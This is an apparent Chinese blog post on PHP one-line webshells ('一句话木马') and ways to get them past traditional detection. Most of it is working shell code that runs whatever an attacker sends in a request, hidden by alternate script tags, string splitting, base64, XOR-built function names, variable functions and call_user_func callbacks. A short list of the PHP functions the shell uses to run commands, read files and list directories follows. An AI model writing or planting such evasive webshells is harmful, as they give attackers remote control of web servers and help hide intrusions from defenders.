一句话木马

#一句话木马

传统防护检测的的免杀方法:

一、隐藏关键字

绕过php代码标志<?的限制:

<script language="php">@eval($_POST['x'])</script>

拆分拼接:

<?php
$arr=explode(",","a,s,d,f,s,d,e,k,r,t"); //把字符串打散为数组
$payload=$arr[0].$arr[1].$arr[4].$arr[6].$arr[8].$arr[9];//拼接成assert
//php版本要求:<=7.0
@$payload(@$_GET['x']);
?>

编码:

<?php
    $a=base64_decode("YXNzZXJ0");
    @$a($_POST('cmd'));
?>

随机异或,用异或运算来组成字符:

<?php
//也可以用十六进制进行进一步加密,例如
//$r="x4d"^"x3f";
$a="Y"^"8";//a
$b="T"^"'";//s
$c="*"^"O";//e
$d="M"^"?";//r
$e="-"^"Y";//t
$payload=$a.$b.$b.$c.$d.$e;//拼接成assert
@$payload(@$_POST['x']);
?>

可变函数:

<?php
@$_REQUEST['e'](@$_REQUEST['x']);
//传入e=assert&x=command
?>

可变变量:

<?php
$a='assert';
$b='a';
//$$b=$a='assert'
$$b($_POST['x']); //assert($_POST['x'])
?>

二、使用回调函数

回调函数:PHP是将函数以string形式传递的。可以使用任何内置或用户自定义函数,但除了语言结构例如:array(),echo,empty(),eval(),exit(),isset(),list(),print 或 unset()。

call_user_func ( $callback , $parameter)
$callback :被调用的回调函数
$parameter0个或以上的参数,被传入回调函数
<?php  
 @call_user_func($_GET['id'],$_POST['a']);
 //传入id=eval&a=command
?>

三、木马的使用

1、执行系统命令:

system()–执行外部程序,并显示输出

passthru()–执行外部程序并且显示原始输出

exec()–执行一个外部程序,不输出结果,echo返回结果的最后一行。

shell_exec()或–通过shell环境执行命令,需要echo

2、读文件:

file_ get_contents 一将整个文件读入为一个字符串

file()一把整个文件读入一个数组中

readfile一读取一个文件,并写入到输出缓冲

3、遍历目录:

scandir() 函数返回一个指定目录中的文件和目录的数组

未完待续~~~~

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值